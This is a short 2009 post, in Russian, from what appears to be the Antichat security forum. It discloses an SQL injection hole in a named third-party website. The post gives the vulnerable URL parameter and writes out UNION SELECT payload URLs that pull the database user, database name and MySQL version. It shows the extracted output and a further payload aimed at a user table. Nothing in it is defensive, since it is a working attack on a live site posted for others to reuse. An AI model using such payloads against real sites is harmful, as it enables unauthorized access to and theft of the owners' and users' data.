SQL Инъекции

FORUMS

MEMBERS

RECENT POSTS

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

#11

02.05.2009, 12:40

BlackPanther

Новичок

Регистрация: 19.04.2009

Сообщений: 15

С нами: 8979768

Репутация: 10

Site:

Код:

http://www.canadiansoftwood.com/

SQL -
Уязвимый параметр:

Код:

http://www.canadiansoftwood.com/index.php?mode=news&id=1

Код:

http://www.canadiansoftwood.com/index.php?mode=news&id=-1+union+select+1,CONCAT_WS(CHAR(32,58,32),user(),database(),%20version()),3,4,5,6--

csidb1@localhost : mysql : 4.1.14
Таблица:

Код:

http://www.canadiansoftwood.com/index.php?mode=news&id=-1+union+select+1,CONCAT_WS(CHAR(32,58,32),user(),database(),%20version()),3,4,5,6+from+user--

Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)

Быстрый переход

Home